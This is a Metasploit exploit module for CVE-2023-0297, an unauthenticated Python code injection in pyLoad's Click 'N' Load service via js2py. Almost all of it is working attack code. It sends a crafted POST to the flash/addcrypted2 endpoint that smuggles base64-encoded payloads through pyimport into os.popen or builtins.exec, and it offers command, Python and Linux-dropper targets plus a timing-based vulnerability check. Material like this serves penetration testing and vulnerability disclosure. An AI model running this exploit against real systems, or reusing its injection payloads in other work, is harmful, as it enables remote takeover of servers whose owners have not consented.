pyLoad js2py Python Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/stopwatch'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pyLoad js2py Python Execution',  
'Description' => %q{  
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport  
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request  
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,  
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"  
service runs on port 9666 and can be used remotely without authentication.  
},  
'Author' => [  
'Spencer McIntyre', # metasploit module  
'bAu' # vulnerability discovery  
],  
'References' => [  
[ 'CVE', '2023-0297' ],  
[ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ],  
[ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ],  
[ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit  
],  
'DisclosureDate' => '2023-01-13',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux', 'python'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper  
}  
],  
[  
'Python',  
{  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Type' => :python_exec  
}  
],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(9666),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
sleep_time = rand(5..10)  
  
_, elapsed_time = Rex::Stopwatch.elapsed_time do  
execute_python("import time; time.sleep(#{sleep_time})")  
end  
  
vprint_status("Elapsed time: #{elapsed_time} seconds")  
  
unless elapsed_time > sleep_time  
return CheckCode::Safe('Failed to test command injection.')  
end  
  
CheckCode::Appears('Successfully tested command injection.')  
rescue Msf::Exploit::Failed  
return CheckCode::Safe('Failed to test command injection.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
if execute_command(payload.encoded)  
print_good("Successfully executed command: #{payload.encoded}")  
end  
when :python_exec  
execute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(payload.encoded)}\"));")  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
# use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues  
# using popen instead of system ensures that the request is not blocked  
javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\"#{Base64.strict_encode64(cmd)}\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"  
execute_javascript(javascript)  
end  
  
def execute_python(python)  
# use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues  
javascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(python)}\"));"  
execute_javascript(javascript)  
end  
  
def execute_javascript(javascript)  
# https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),  
'vars_post' => {  
'crypted' => '',  
'jk' => "#{javascript}f=function f2(){};"  
}  
)  
  
# the command will either cause the response to timeout or return a 500  
return if res.nil?  
return if res.code == 500 && res.body =~ /Could not decrypt key/  
  
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")  
end  
end  
`